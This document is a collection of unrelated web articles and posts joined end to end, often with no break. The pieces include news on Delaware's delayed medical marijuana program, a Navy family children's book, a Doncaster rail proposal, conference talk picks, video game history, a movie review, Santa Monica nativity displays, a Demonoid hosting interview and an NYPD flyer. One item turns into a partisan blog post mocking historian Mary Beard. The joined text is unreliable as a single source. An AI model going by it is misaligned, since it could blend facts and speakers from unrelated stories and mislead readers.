Twenty-three states and the District of Columbia have comprehensive medical marijuana laws.
For Deb McPherson, marijuana is medicine. But purchasing the drug is nothing like buying pain pills or picking up a blood pressure prescription at a local pharmacy.
"It's extremely difficult," said McPherson, 47, of New Castle. "You're asking around everyone you used to know in high school. You're hitting people up on social media."
McPherson is one of 200 Delawareans certified by the state under a 2011 law to use pot to treat a variety of conditions – including symptoms of cancer, Alzheimer's disease, multiple sclerosis, HIV and ailments that cause severe pain and nausea.
Another 170 applications are being processed by the Delaware Department of Health and Social Services. But patients are still forced to buy marijuana illegally on the street, with delays continuing to undermine Delaware's program – even after Congress blocked federal funding for medical marijuana prosecutions.
McPherson uses the drug to help with pain and inflammation caused by herniated disks in her back and fibromyalgia. She has had mixed success in securing marijuana – her medicine. One regular contact she used to buy the drug was arrested. In other cases, McPherson suspects she was charged too much, or delivered too little for what she paid.
"I've had some really bad situations where I really needed the medicine and what I got was junk," McPherson said.
Buy Photo Deb McPherson is a medical marijuana cardholder. Twenty-three states and the District of Columbia have comprehensive medical marijuana laws. (Photo: SUCHAT PEDERSON/THE NEWS JOURNAL)
Construction delays will push the opening of Delaware's only medical marijuana dispensary, First State Compassion Center near Wilmington, from this month into at least June.
Dispensaries are not even planned in Kent or Sussex counties, despite language in the May 2011 law requiring the Health Department to issue registration certificates to applicants "in each county by January 1, 2013."
A spokesman for Delaware Gov. Jack Markell said, "Modifications were made to the state's medical marijuana program to address federal concerns about the authorization of multiple large-scale centers in a single state."
Markell delayed implementation of the medical marijuana program for years under the perceived threat of prosecution by the U.S. Department of Justice. Marijuana remains illegal under federal law, even for medical applications.
Zoe Patchell, of the Cannabis Bureau of Delaware, an advocacy group, said Markell "maintains that he is minimizing the federal threat, when that threat no longer exists."
In December, Congress approved and President Barack Obama signed a 1,600-page spending measure that blocked funding for U.S. government efforts to prevent states from "implementing their own state laws that authorize the use, distribution, possession, or cultivation of medical marijuana."
““I believe that the governor is out of compliance with the law that he signed. Why did he sign the bill if he had no intentions of enacting it?”” Joe Scarborough, a medical marijuana advocate
Delaware was specifically mentioned in the federal legislation. Twenty-three states and the District of Columbia have comprehensive medical marijuana laws, according to the Marijuana Policy Project, a national advocacy group.
Robert Capecchi, deputy director of state policies for the Marijuana Policy Project, called Delaware's concerns "dated," pointing to updated guidance from the U.S. Justice Department. A memo from Deputy Attorney General James Cole to U.S. Attorneys on Aug. 29, 2013, said effective regulation "may allay the threat" posed by the size of marijuana operations in states.
Joe Scarborough, a medical marijuana advocate who lobbied legislators to pass the 2011 legislation, said he's confounded by the caution displayed by Markell, who has delayed Delaware's medical program even as other states, including Colorado and Washington, have legalized the drug for recreational use.
"I believe that the governor is out of compliance with the law that he signed," Scarborough said, noting that the law calls for medical dispensaries in all three counties.
"Why did he sign the bill if he had no intentions of enacting it?"
Applications from potential patients to the medical marijuana program soared in recent months, with the impending opening of the first dispensary. The number of cardholders and applications under review by the Health Department are up 76 percent from mid-December.
Canna Care Docs, a medical practice located near the dispensary in an industrial park west of Wilmington, has certified about 80 patients since its opening in January, said Kevin Kafka, director of Canna Care's operations.
Kafka said the dispensary's delay is hurting his business, which doesn't take insurance but relies on annual fees from patients. "People don't have that big incentive to come in until the dispensary is open," Kafka said.
Meanwhile, patients remain short-changed. David Turner, 39, of Pike Creek, said he was "rip-roaring mad" when he heard of the delay in opening the First State Compassion Center.
Turner uses marijuana to treat symptoms of post-traumatic stress disorder, fibromyalgia and pain from a traumatic head injury. Being forced by the state to purchase the drug illegally adds anxiety that counters some of the drug's benefits, Turner said.
"It's just one delay after another," Turner said. "It seems as though they are finding red tape to tie it up."
“As soon as I close my eyes and try to go to sleep, my legs start jumping.” Jane, a 52-year-old woman from Pike Creek who didn't want her last name used
Jane, a 52-year-old Pike Creek cardholder, is one of many who swear by the medicinal benefits of the drug. Jane, who suffers from a disability caused by nerve damage in her legs, did not want her full name used for fear she could be targeted because of her use of marijuana.
She smokes daily before bed to calm her nerves, and help her sleep. The drug offers additional relief not provided by a a fentanyl patch, she said.
"As soon as I close my eyes and try to go to sleep, my legs start jumping," Jane said. "It's a neurological misfiring of nerves. I smoke a little bit of pot to calm my legs down. Nothing works great. But yes, it helps quite a bit."
McPherson, the New Castle cardholder, uses marijuana privately, at home to treat her pain and inflammation. She is not interested in smoking the drug socially, but believes in its medicinal qualities.
But McPherson remains concerned about quality when buying marijuana on the street, not in a tightly-regulated dispensary.
"They're just handing you whatever," McPherson said of her transactions. "You get it handed to you. You hand over the money, and the that's a real problem. You're dealing with people who don't have any policies and procedures manual."
DELAWARE MEDICAL MARIJUANA RULES
• Delaware is one of 23 other states and the District of Columbia to legalize a comprehensive medical marijuana program.
• Law lets certified patients who have a serious medical condition possess up to 6 ounces of pot.
• Centers licensed by the state are allowed to grow and dispense marijuana.
• 200 Delawareans are certified by the state to use pot to treat a variety of conditions.
• Opening of first medical marijuana dispensary has been delayed until June.
Read or Share this story: http://delonline.us/1ywexs1Books help children understand why Defence Force parents aren't always home
Updated
When first-time mum Hayley Boswell couldn't find a children's book to help her explain to her daughter what her Navy husband did, she wrote her own.
A human rights lawyer by trade, Ms Boswell is on maternity leave with her daughter Evie.
She grew up in a Defence Force family — her father was an army cook.
Her husband, Bradley Lynch, is a Chief Petty Officer marine technician in the Royal Australian Navy and is often deployed on seafaring duties.
"I thought it would be nice to have a book that [children] could read about their family and how important their parents' jobs are," Ms Boswell said.
What began as a book for Mr Lynch to read to Evie when he was home gained attention after he shared the story with friends on Facebook.
"We started getting orders from friends to make books for their kids," Ms Boswell said.
Mums, dads and all Defence forces included
She soon created a version for Navy mothers and Army mums and dads, and there's an Air Force version on the way.
"It was just something I thought would be important for children to read, so I felt pretty honoured that people wanted to read it," Ms Boswell said.
Her work received such a strong response in Australia that she is now exploring overseas versions.
"I've submitted my work to a few publishers in the UK and US, and one [submission] is before the board of editors at the moment," she said.
"It's going a lot better than I thought it ever would have."
Ms Boswell said she had received a lot of feedback on how her book was helping to ease the anxiety felt by some children when a parent left on a deployment.
She has also thought about creating versions for fly-in fly-out workers and other professions.
"If there's a market, and I think it is needed for those children, then of course I'll do it," she said.
Topics: family-and-children, defence-forces, books-literature, parenting, adelaide-5000
First postedA RAILWAY line to Doncaster could be built for $840 million and paid for using taxes raised from the higher property values it would generate, says a report.
The report, jointly written by transport experts from Curtin University in Western Australia, Melbourne's RMIT University, and global engineering firm Arup, has also found that the railway line could transport about 100,000 passengers a day if it was linked to the proposed Melbourne Metro rail tunnel, at an added cost of $300 million.
Illustration: Ron Tandberg.
This is the same number of vehicles projected to use the Baillieu government's proposed east-west road link daily, after it is built at an estimated cost of $5 billion to $9 billion. The report's authors have modelled their cost estimates for the proposed Doncaster railway on the highly successful Mandurah line in south-west Perth, a 70-kilometre railway that was built for $1.3 billion and opened in 2007.
A report co-author, Curtin University's Professor Peter Newman, was the architect of the Mandurah line. He is also on the board of federal advisory group Infrastructure Australia.The Information+ Conference took place in Vancouver earlier this year. It brought together people from information visualization and information design (and design more in general). All of the talk videos are online on the website, but since there were a lot and it's kind of hard to decide where to start watching, I'm listing my favorites below.
I've posted a link to my talk about the science of pie charts before (you should watch it if you haven't!). There were many other great talks at the conference, though. It was quite difficult to pick out only ten, but it seemed pointless to pick every single one here. I'm also leaving out the keynotes on purpose, since they get more attention anyway.
Some of these are short talks that are only about five minutes long, the long talks are 20 minutes (plus questions). So the time investment is pretty small, and you get a lot in a short amount of time.
Lisa Charlotte Rost, Goals in Data Visualization for Journalism
This was my favorite talk of the conference. Lisa puts her finger on the difference between news that get eyeballs and news that are important, and what journalism could do address that. It's an important ethical question that isn't discussed enough, and Lisa makes some good points while keeping the talk light.
Lena Groeger, Meat Charts: Visualizing Data with the Human Form
Lena's talks are always fun, both in the subjects she picks and the way she delivers them. This talk is about the design of a piece about a serious subject: insurance payments for workplace accidents. But the design process and the way she describes it is hilarious (and interesting!).
Lena will also give one of the keynotes at Tapestry next year.
Karen Cheng, Proving the Value of Visual Design in Scientific Communication
Karen Cheng is a design professor at University of Washington, but her background is chemical engineering. In this talk, she describes an interesting project where she and her colleagues redesigned figures in nanotechnology papers and tested whether they worked better than the originals (they did!).
Scott Murray, Designing Online Learning Experiences for People
Scott describes some of his projects for teaching programming and data visualization, and ponders what it takes to build the right tools to really be effective in teaching people online. He has s0me good ideas for what then ideal teaching platform should look like.
Will Stahl-Timmins, Health Data Graphics: An Academic Publishing Perspective
Will works for the British Medical Journal (BMJ), where he creates visualizations and information graphics, both static and interactive. These are used both on its website and on social media to get people interested and bring them to the research articles.
Chad Skelton, How to Think like a Data Journalist
The kind of thinking behind data journalism is useful not just in journalism, but whenever people work with data. Chad makes a good case for asking the right questions and building simpler charts to walk people through your findings rather than just throwing lots of information at the consumer.
María González de Cossío, Writing a History of Mexican Railways through its Information Design
Who knew that the history of railroads in Mexico was this fascinating? María González de Cossío describes how Mexico's geography (mountain ranges, enormous differences in elevation between important points they wanted to connect) impacted the way railroads were built, and how that was reflected in maps and information graphics.
Catherine D’Ignazio, Creative Data Literacy: Bridging the Gap Between the Data Haves and Have-nots
Data and data visualization have gone mainstream, but access to the tools and the thinking behind them is not as equal as we like to assume. Catherine D'Ignazio addresses this point, and also talks about what the data means to people and how we should be looking for data that is more relevant to people that aren't tech geeks.
Andy Kirk, Developing Visualization Literacy: Experiences from the Front Line
Andy speaks from his experience teaching people to create visualizations from data, and provides quite a bit of his own data from his own business about the kinds of clients he has, where they are located, etc. He also has some very interesting points about how to teach people to think about data so that they'll be able to then make their own useful visualizations.
Greg |
on its Twitter account that it was “appalled by this tragic incident, the latest in which civilians continue to disproportionately bear the brunt of conflict in Yemen”.
Despite more than two years of fighting in Yemen, African migrants continue to arrive in the war-torn country, where there is no central authority to prevent them from travelling onward to a better life in neighbouring oil-rich Saudi Arabia.
More than 111,500 migrants landed on Yemen’s shores last year, up from around 100,000 the year before, according to the Regional Mixed Migration Secretariat, a grouping of international agencies that monitors migration in the area.
The turmoil has left migrants vulnerable to abuse at the hands of the armed trafficking rings, many of which are believed to be connected to the multiple armed groups involved in the war.
APPosted on 06. Oct, 2010 by Robert Steers in Advertising, Marketing, marketing sydney
Bank of America has more than 930,000 customers for its mobile banking services and is one of leaders in the space.
Bank of America has more than 930,000 customers for its mobile banking services and is one of leaders in the space. Mobile click-through rates average 8.9% up to 49%
Android has doubled market penetration and overtaken iPhone in the last 8 months.
There are basically three leading, different and incompatible operating systems on modern mobile smart phones. First there was the Blackberry, which handles email and business applications very well, and over a secure connection. Next there was the iPhone, which is Apple’s offering. The iPhone broke the mould with its applications market and has lead the industry for the last few years with slick design and flexibility. However, in the last few months, Google’s Android has come on the scene with its own applications market, and is now leading the pack.
So what does this mean for marketers?
Although mobile browsers only make up around 1% of total web traffic, you have to look at the demographics of mobile web browsers. For one they are almost certainly educated, tech savvy and with disposable income. Secondly, the lions share of web browsing happens during the commute. Basically you know you are talking to the early adopters when you are marketing online. Also, this segment is probably the fastest growing market segment at the moment, with mobile browser usage doubling every few months.
Who is doing it and what is working?
It seems that all the cool kids are doing it. Samuel L Jackson has his own app. Most of the big companies have started some kind of mobile marketing program, because Mobile Marketing can provide marketers with the holy trinity of
marketing, timely, personalised, actionable marketing messages. There are dozens of great mobile marketing case studies to look at that show how easy it is to get a response out of targets. The methodologies vary too, with some mobile marketing groups using SMS, and others using applications.
SMS marketing?
An example is this case study; McDonald’s says, send a SMS to Santa & get your gift within seconds. Promoted using unique codes on cups for consumers to send in with 1 text message – right in the restaurant. Every code wins – for the first time even physical prizes. It resulted in a stunning 25% response rate – with more than 1.5 million participations in five weeks.
Mobile App marketing?
This is where the cutting edge cool is at. Almost all smart phones now use GPS to give users their current location. Now marketing professionals are tapping into this, providing targets with information about their brand. Reebok released a free app that allowed users to customise their trainers. This creates engagement and interaction directly with the brand. Time Out offer an app, like many other media groups, that taps into their information system and provides users with what is going on, events, gigs around them right at that moment.
So what does this mean for marketing professionals?
In almost any industry, you must be looking at mobile marketing as part of your mix. There are thousands of ways you can provide information to your customers through mobile marketing platforms.K
From GoHands, the studio that brought you the cyberpunk anime film series Mardock Scramble, and the enigmatic writers’ collective GoRA Project comes K, the newest original anime series of 2012. Set in a world where history has taken a slightly different course from the one we’re familiar with, K follows the story of a young boy whose life is caught in a psychic war between seven kings. Yashiro Isana, also known as Shiro, is wanted for a crime he has no recollection of committing. He finds himself being hunted by the groups HOMRA, led by Mikoto Suoh, “The Red King,” and SCEPTER 4, led by Reisi Munakata, “The Blue King.” While on the run, a young man named Kuroh Yatogami helps him. This fated encounter will change Shiro’s life forever.Xenoblade Chronicles 2 is the brainchild of Monolith Soft co-founder and ex-Square Enix employee Tetsuya Takahashi. Xenoblade and the rest of the Xeno series have a rocky and somewhat confusing history. Logic would dictate that Xenoblade Chronicles 2 is some sort of sequel, but even though it’s the third game in the Xenoblade series and the ninth in the Xeno franchise, it only has a fleeting connection to the other titles.
The primary connection between the Xeno games is Tetsuya Takahashi, who has played a prominent role in the development of each title. From the first game in the series, Xenogears, up to the current Xenoblade Chronicles 2, Takahashi has steered the franchise. Unfortunately, even though the series is very popular, the Xeno franchise has often been plagued by issues with management and publishers. These stories and more are waiting below with everything you need to know about the Xeno series before you play Xenoblade Chronicles 2.
Xenogears Sets the Tone for the Franchise (1998)
Xenogears was originally conceived by Tetsuya Takahashi and his wife Kaori Tanaka when they worked at Square during the early stages of development on Final Fantasy VII. The higher-ups at Square decided that the game’s subject matter and tone were too dark for a Final Fantasy game. However, Takahashi and Tanaka continued work on the concept with the idea that it would be a sequel to Chrono Trigger. Due to internal politics (likely having to do with Chrono Cross), the idea would eventually be branched out into a fully independent sci-fi saga.
At first, Gears weren’t a part of the story; instead, the characters were to use summoned monsters. However, as the concept took form, the giant mecha you see in the final game took center stage. The plot of the game makes heavy use of the idea of “Xeno,” meaning “alien.” This is a theme recurring throughout the Xeno series, and Xenogears profoundly examined where we come from, where we’re going, and the use of religion as a form of control and power over the masses.
The game almost didn’t come to the West because of the massive criticism of religion, in particular, Christianity. However, Xenogears became the first game in which the English localization team worked directly with the game’s developers, so compromises were made that kept the original meaning of scenes intact while allowing them to skirt around making the allegories too close to any real religion.
When the game was released, it received critical acclaim and has gone on to be one of the most beloved Square Enix RPGs of all time. The mixture of space opera and religious allegory resulted in a rich, unique plot that has aged incredibly well, even if the gameplay hasn’t. One criticism Xenogears did receive was the trainwreck the game turns into during the second disc.
It moves from a traditional jRPG to more of a visual novel with gameplay and battle interspersed. The reason for this according to Takahashi was because his team was too inexperienced to get the swath of material remaining after finishing disc one into the game within the deadline Square had set. Instead of just wrapping up at disc one and ending on a cliffhanger, Takahashi and team were able to use a narrator for disc two that allowed them to finish the game on schedule.
One of gamings biggest what-ifs concerns Xenogear’s sequels or lack thereof. Xenogears was written to be part five of a six-part series. Despite the game’s success, Square Enix never developed any sequels or prequels to the game, leaving the rest of the hexalogy untold. A book was released called Xenogears Perfect Works ~The Real Thing~ that contains info covering details of the planned Xenogears saga, but it’s only in Japanese, and it’s increasingly expensive. If you happen to read Japanese or find an online English translation done by a fan, Xenogears Perfect Works is essential reading for Xeno series fans.
Xenosaga: The Games That Definitely Weren’t Xenogears (2002-2006)
Eventually, Takahashi left Square and founded Monolith Soft, a new video game development studio under Namco’s umbrella.
Xenosaga Episode I: Der Wille zur Macht (2002)
The studio’s first project would be Xenosaga Episode I: Der Wille zur Macht. Around a third of the 60-80 people working on the game had previously worked on Xenogears. Xenosaga was meant to be a spiritual successor to Xenogears because Square’s copyright of the first game kept Takahashi from expanding that series.
Xenosaga was released in 2002 to critical acclaim and was a financial success for Namco. Takahashi would serve as director and scenario writer for the game, and it would harken back to events similar to those in Perfect Works. Xenosaga Episode I was meant to the first of a new hexalogy and Xenosaga Episode II: Jenseits von Gut und Böse began development directly after its release.
Xenosaga Episode II: Jensuits von Gut und Böse (2004)
During the development of Xenosaga Episode II Takahashi stepped down as director of the project to allow the other employees of Monolith Soft an opportunity to make their mark on the series as well as to allow him more freedom to provide input on projects throughout the studio. The game would play much the same as the first, and continued as a direct sequel to the events in Episode I.
Many critics enjoyed the improved battle system, but Episode II fell victim to a phenomenon many video game sequels do. To enjoy Episode II, you really need to have played Episode I, especially since the plot of this series tends towards the complex and at times the convoluted. Episode II performed well in Japan, but according to a later report from Namco, the game only reached 50% of its sales target overseas.
Xenosaga Episode III: Also Sprach Zarathustra (2006)
Work on Xenosaga Episode III started during the late development phase of Episode II. At some point in the development of Episode II, the series was changed from a six-part story to a trilogy. This meant that much of the scenario of Episode II was altered, and some elements cut from that game due to time constraints were included in Episode III.
The primary objectives of the design team working on this game were to address concerns with the first two entries in the series and to fashion a satisfying conclusion. While this game is intended to finish out the main cast’s story, there were rumblings at Monolith Soft that if the game was successful, the series might continue with new entries. However, the game was criticized for trying to fit too much narrative and lacked focus due to the need to resolve so many plotlines.
The mixed reception of Xenosaga Episode III led to Monolith Soft largely splitting with Namco Bandai after Nintendo purchased the studio in 2007. Shortly after the purchase development on a game called Monado: Beginning of the World started which would evolve into Xenoblade Chronicles.
Xenoblade Chronicles: A New Beginning for Monolith Soft (2010-Now)
Shortly after Nintendo purchased the majority shares in the studio in 2007, Takahashi began work on a title called Monado: Beginning of the World. He had the idea for a fresh new game that involved two rival civilizations living on the frozen bodies of two warring gods. Unlike Namco, Nintendo encouraged Monolith Soft to embrace their creativity.
Xenoblade Chronicles (2010)
When Takahashi saw the scale of the project was causing issues, he went to the head of Nintendo SPD Production Group 2, Hitoshi Yamagami, who had oversight of Monolith Soft productions. Takahashi had prepared a list of cuts that would need to be made to finish the game on schedule. Instead, Yamagami rejected those proposals and advocated for Monolith Soft to have additional production time allotted so that the game could be completed as envisioned.
By the time of its release in 2010, the game had received a name change to Xenoblade Chronicles. This was done by then Nintendo President Satoru Iwata to honor Takahashi’s work on Xenogears and Xenosaga. Though Xenoblade suffered suffer delays, Yamagami’s gambit would pay off when the game released to critical acclaim. Nintendo marketed the game oddly in North America, and the game didn’t release here until 2012 and only then in limited quantities exclusively at GameStop.
Although the game was ported to the New Nintendo 3DS in 2015, the Wii version was hard to find for several years. However, in 2016 Xenoblade Chronicles finally released for the Wii on the eShop allowing gamers who missed out the first time to play it in its original form.
Xenoblade Chronicles X (2015)
After the success of Xenoblade Chronicles, Monolith Soft began work on Xenoblade Chronicles X. This new title targeted Nintendo’s Wii U console and was the first high-definition game for the studio. This game didn’t continue the story of the first game, but was a spiritual successor with an original plot building on the gameplay for the original. Whereas Xenoblade Chronicles was a fairly linear, single-player affair, Xenoblade Chronicles X was open-world and encouraged exploration, as well as competition with other players through leaderboards.
Unfortunately, the poor adoption of the Wii U did a lot to hold the game back. It didn’t sell exceptionally well, but Nintendo seems to have considered it a success. The absolutely gigantic world, myriad quests, and deep upgrade and equipment system make this game cry out to be ported to the Nintendo Switch where it will have a chance to get the recognition it deserves.
Xenoblade Chronicles 2 (2017)
The latest Xeno title uses the same engine as Xenoblade Chronicles X, which made for a shorter development time than previous games in the series. We’ll have a full review of this title that will go in-depth soon.
This game returns to a more linear storytelling style that resembles that of the first game. Again it has a wholly original plot but is a further refinement of systems and gameplay introduced in the first and second games. There’s still plenty of exploration here, but the focus has been narrowed which results in a much tighter plot than the sometimes lackadaisical pace found in Xenoblade Chronicles X.13 February 2013 | Michael_Elliott
Quite Possibly the Worst Movie Ever Made
Da Hip Hop Witch (2000)
BOMB (out of 4)
Incredibly awful and rather pathetic "movie" about five idiot white people who go into the ghetto to look for the title creature. This witch just happens to stalks various rap artists so the white kids try to get famous by looking for her. This parody (?) of THE BLAIR WITCH PROJECT is beyond awful in every way imaginable. The screenplay is awful. The acting is awful. The direction is awful. The entire intent of this thing is awful and for the life of me I can't understand what writer-director Dale Resteghini was trying to do other than get idiots like me to watch this film. What we've basically got is a bunch of scenes that make no sense thrown together and the "highlight" is seeing various hip hop artists talk about their encounter with the witch or stories they've heard about the witch. These include Eminem talking about how the witch tried to stick her butter finger up his butt. Really? Was this meant to be funny? Were we supposed to take this serious? Mobb Deep, Rah Digga, Pras, Killah Priest, Ja Rule and Vanilla Ice also show up. There's no question that this film wasn't made to try and win an Oscar but at the same time you'd hope for at least some cheap entertainment or fun. This movie really offers neither and it actually gets worse as it goes along. It's just mind-blowing that the director would make a film like this but, again, I'm sure it was for money. Even then, was there a reason for this to clock in at 90-minutes? The entire film looks incredibly cheap and from what I've read the director just pretty much showed up at the various artists' locations, threw them some money and then had them talk. It's clear none of them knew what the heck was going on as their stories just drag on and there's no point to any of them. DA HIP HOP WITCH is a complete piece of junk that probably ranks as the very worse I've ever seen. I at least can't think of another movie where less effort was done.Mary Beard has spoken about the “Twitterstorm” of abuse she received after arguing that Roman Britain was ethnically diverse.
The historian and television presenter said she received a “torrent of aggressive insults” for days after she said a BBC schools video that depicted a high-ranking solider and a father of a Roman Britain family as being black to be “pretty accurate”.
She argued that the character in the BBC cartoon was loosely based on “Quintus Lollius Urbicus, a man from what is now Algeria, who became governor of Britain.”
She spoke against the “rubbish” arguments about genetic evidence from alt-right commentators and their “desire for certainty” when it came to historical information that was not always possible to ascertain, such as the population of Britain during the Roman empire and the ethnic make-up.
“It also feels very sad to me that we cannot have a reasonable discussion on such a topic as the cultural ethnic composition of Roman Britain without resorting to unnecessary insult, abuse, misogyny and language of war not debate (and that includes one senior academic)," she wrote in the Times Literary Supplement. She was referring to comments from Nicholas Nassim Taleb who accused her of “bullsh*tting”.
English "historian" Mary Beard is still whining about the pushback she received for incorrectly claiming that a multiracial Roman British family was "typical", as portrayed in a BBC children's cartoon. I don't think her new book is going to help restore her reputation any time soon. Best response: "It would explain all the dead white wives."In the meantime, Cambridge University has doubled down and released a Faculty Statement.UPDATE: Glorious. Mary has really become quite prolific of late. We need to send old GRR Martin a case of whatever she's drinking.
Labels: history, SJW, Vibrancy is our strengthSANTA MONICA, Calif. - Jesus, Mary, Joseph and the three wise men are being crowded out by atheists.
Most of the Christmas nativity scenes that churches had placed in a Santa Monica coastal park for decades have been displaced by non-religious displays and the churches are crying conspiracy.
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The Santa Monica Nativity Scenes Committee, a coalition of 13 churches, and the Santa Monica Police Officers Association, has traditionally claimed 14 of the 21 display spaces, which are vandal-proof, cage-like areas surrounded by chain-link fencing.
(Below, watch a report from CBS News station KCAL-TV in Los Angeles)
The coalition displays have featured life-size depictions of the story of the birth of Jesus Christ.
But atheists got all but three of the spaces this year because of a new lottery system. The coalition got two spots to display Jesus, Mary and the wise men. The third went to Isaac Levitansky of Chabad Channukah Menorah.
Adding to the loss, the atheists have used only three of the display areas to promote their message.
One reads: "Religions are all alike founded upon fables and mythologies. Thomas Jefferson."
"Happy Solstice," reads another.
And a display with photographs depicting King Neptune, Jesus Christ, Santa Claus and Satan reads, "Million Americans know MYTHS when they see them. What myths do you see? American Atheists. Since 1963. athiests.org."
"Our belief is that these new applicants have been working together to displace and push out the nativity scenes from the park, rather than erecting a full display of their own," said Hunter Jameson, a spokesman for a coalition of the city's churches.
The Santa Monica Daily Press reported that churches had little or no competition for the spaces during the past 57 years. This year, 13 people bid for spaces, prompting City Hall to use a random lottery system to allot the spots.
Two individuals got 18 spaces. One person can request a maximum of nine.
Damon Vix is behind the effort to allocate the spaces by lottery.
Last year, he put up a sign with the Thomas Jefferson quote and selections on U.S. Supreme Court decisions about the importance of separating church and state.
Vix now helps other atheists acquire the park spaces, including American Atheists Inc. and the Freedom From Religion Foundation.
Secularists feel a need to be more vocal and express their civil rights, he said.
"For 60 years, it's almost exclusively been the point of view of Christians putting up nativity scenes for a whole city block," Vix said.
Jameson pushed the city to give local preference in awarding the spaces. Vix doesn't live in Santa Monica.
City Attorney Marsha Moutrie wrote, however, that the Christmas displays cross the boundary into First Amendment free speech rights, which know no geographical boundaries.
"Everyone has equal rights to use the streets and parks for expressive activities, irrespective of residency," Moutrie wrote.Demonoid is one of the largest BitTorrent trackers on the planet and, unfortunately for those interested in the site, also one of the most secretive. With the site currently out of action with little indication when it will return, there are certainly plenty of questions. An interview with Demonoid's Ukranian host certainly proves to be of great interest.
While the admins of some of the larger public torrent sites such as The Pirate Bay, Mininova and isoHunt are happy to give interviews, many others demonstrate a certain phobia of the media.
One major site that has showed an acute aversion to saying just about anything to outsiders is Demonoid. This semi-private site has nevertheless made the news dozens of times, most recently due to its recent downtime, as reported here on TorrentFreak.
“We are experiencing power outages that have caused some ram and hard drive issues. We might have to shut down everything to fix and prevent further damage,” said Demonoid in a statement six weeks ago, warning that downtime could run to “…days maybe, until we can change the power circuit.”
However, TorrentFreak has received possibly conflicting information from Demonoid’s host, Colocall in Ukraine, who said in a statement: “There were no problems with power supply at the location where Demonoid servers are hosted.”
While information about Demonoid is always scarce, information coming out of Colocall is a rarity too, since the company has previously refused to speak with journalists about their most infamous customer. That’s why it was of great interest when Ukrainian blogger Pavel Golubovskiy contacted TorrentFreak to say he had netted an interview with Colocall. Here is a translation of the questions related to Demonoid;
Why did you choose to host Demonoid?
The customer came to us and ordered a particular service. For us it wasn’t a political decision, Demonoid is an ordinary client for us.
What exactly do you host, the inferno.demonoid.com tracker?
They brought their servers, which are now located in our data center. We don’t know what information is stored there – we do not have access to this information. These servers are supported remotely by Demonoid technical staff.
Demonoid’s servers
Is there a way to contact the Demonoid admins?
They will not answer you. Many people want to contact them – journalists, fans, police, local authorities from different countries. But the Demonoid admins have a very selective approach to e-mail correspondence. When the police wanted to contact them, I specifically warned the admins that they had to respond to this request.
So the police already inquired about Demonoid?
Well, our local authorities are interested in Demonoid all the time. Rightholders associations are constantly trying to put pressure on us, including pressure with the help of Ukrainian authorities. We redirect them to the admins, but do not interfere or try to negotiate.
Are they putting any serious pressure on you?
It sounds strange, but Ukraine is still a jural state. Therefore IFPI’s personal opinion is just that, their personal opinion, despite the fact that the budgets of the IFPI participants are comparable to the budget of the Ukraine.
Aren’t you afraid that there can be a similar situation with Demonoid’s servers as there was with Infostore.org site? [famous Ukrainian file-sharing site, its servers were confiscated by police about a year ago]
As a hosting-provider we take such risks into account. This can happen not only with Demonoid, but with any client. We do not control what information is stored on servers, anybody can buy our hosting service.
Anti-pirates and the media-lobby are now trying to shift all the responsibility for file-sharing onto Internet providers, so that providers will have to monitor user activities. Will this affect hosting providers too?
We have such laws in draft in our parliament periodically. But the Ukrainian law “On communication” is clear about this: providers are not responsible for what their customers do. And the fact that rights holders want to change that is their personal opinion, they are not legislative bodies. Let them buy a parliament member and lobby for such law, then we will observe this law. But until then they are nobody to us, and we are nobody for them too.
About a month ago Demonoid reported technical problems. Due to those problems all data for the last several months has vanished. In an attempt to recover from these problems the site went offline. Do you know what happened?
Some time ago several of their hard-drives crashed. But that was several months ago and we don’t know what was the reason of recent problems.
According to their admins, the man who can restore the tracker is not available. Are they speaking about some Colocall programmer?
No, all the technical support of servers is performed remotely. They aren’t speaking about one of our specialists.
Torrentfreak wrote about the president of Lithuanian antipirates, who demanded the closure of access to Demonoid. He said that it is very hard to even make contact with you. Have you spoken with him?
Yes, someone called us. We just could not speak with him: from the start of the conversation he immediately began to threaten us, he was absolutely non-constructive. We sent him to the court and have said that if he brings the court’s decision, we will be happy to execute it, because we observe all Ukrainian laws. Until then we are not going to speak with him.
Access to Demonoid is blocked for several countries including Ukraine. Is this your initiative or the tracker’s decision?
It is the tracker’s policy, not our initiative. I think this is due to DDoS-attacks.
Are there any DDoS-attacks aiming at Demonoid?
Yes, there are many large and serious DDoS-attacks. But they are always the problem of every hosting provider. We have learned how to neutralize them, so such attacks have almost no effect on Demonoid’s operations. And, incidentally, Demonoid isn’t the only site to be attacked: during the last election we hosted the server of the central election commission committee, it was constantly under DDoS-attacks.DNAinfo.com reports that two Harlem activists were the focus of an NYPD flyer resembling a wanted poster that identified them as "known professional agitators" because of their work documenting stop-and-frisk encounters. The flyer, which carried the NYPD shield and the logo of the department's intelligence division, featured photographs of Matthew Swaye and Christina Gonzalez, who have a YouTube channel where they post video of police stops. The flyer alerted officers to the public-relations threat posed by the couple (sic):
Above subjects MO is that they video tape officers performing routine stops and post on YouTube. Subjects purpose is to portray officers in a negative way and too deter officers from conducting there responsibilities. Above subjects also deter officers from being safe and tactical by creating unnecessary distractions. Do not feed into above subjects propaganda.
Although Swaye and Gonzalez understandably viewed the flyer, which included their home address, as an attempt to intimidate them, that last recommendation could be interpreted to mean that officers should ignore the "agitators" rather than try to stop them. "There have been times when it's gotten combative," Swaye told DNAinfo.com, a local news site. "There have been times when they [police officers] have videoed Christina. But if we were breaking the law they would have arrested us."
If recording officers as they go about their routine work in public makes them look bad, maybe there is something wrong with standard police practices. Obviously Swaye and Gonzalez think so, and they are not alone. The eveyday harassment of supposedly suspicious black and Hispanic men—who nine times out of 10 are not doing anything to justify an arrest or summons and who are frequently subjected to pat-downs that almost never discover weapons, even though that possibility is the rationale for these searches—is not "propaganda"; it's reality. If that reality looks ugly on YouTube, perhaps it is time for the NYPD to reconsider its constitutionally questionable tactics.
Predictably, the flyer that urged officers not to help Swaye and Gonzalez make their case against the NYPD proved to be self-defeating:
Go here for more on camera-shy cops, including Radley Balko's 2011 Reason cover story on the subject.SUFI PLUG INS is an interdisciplinary project by Jace Clayton. Version 1 is a free suite of music-making software apps, based on nonwestern notions of sound & a poetic interface. This brief explanation video shows them in action.
“it’s one of the few digital tools I’ve seen that I would also consider art. It’s a tool that is not only designed to help musicians make new sounds, but also to self-consciously influence what is produced. Interface design decisions are guided both by functionality concerns and the creative expression of its maker.” – Paddy Johnson, Art Fag City
